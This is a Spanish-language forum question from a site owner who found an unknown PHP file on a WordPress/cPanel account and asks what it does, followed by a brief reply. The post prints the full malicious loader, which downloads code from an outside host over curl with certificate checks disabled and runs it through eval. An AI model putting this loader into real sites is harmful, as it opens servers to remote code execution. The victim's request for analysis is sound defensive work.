Hace 2 dias como sorpresa pudimos ver que en una de nuestras cuentas de Cpanel, se creo un archivo muy curioso y ajeno al Wordpress, con un nombre aleatorio y con un codigo raro.
Obviamente tuvimos que eliminarlo por cuestiones de seguridad, sin embargo me gustaria saber que hace exactamente este codigo en PHP.
Debo aclarar que al ejecutar el archivo, el antivirus reacciona.
function get_contents($url){
$ch = curl_init("$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$result = curl_exec($ch);
return $result;
}
$a = get_contents('http://ndot.us/za');
eval('?>'.$a);
Tambien aprovechar, hay alguna manera de saber el origen de los archivos?
Saludos!
curl
e intentando ingresar a laurl
se puede deducir que es y que hace. Sin duda tu hosting está expuesto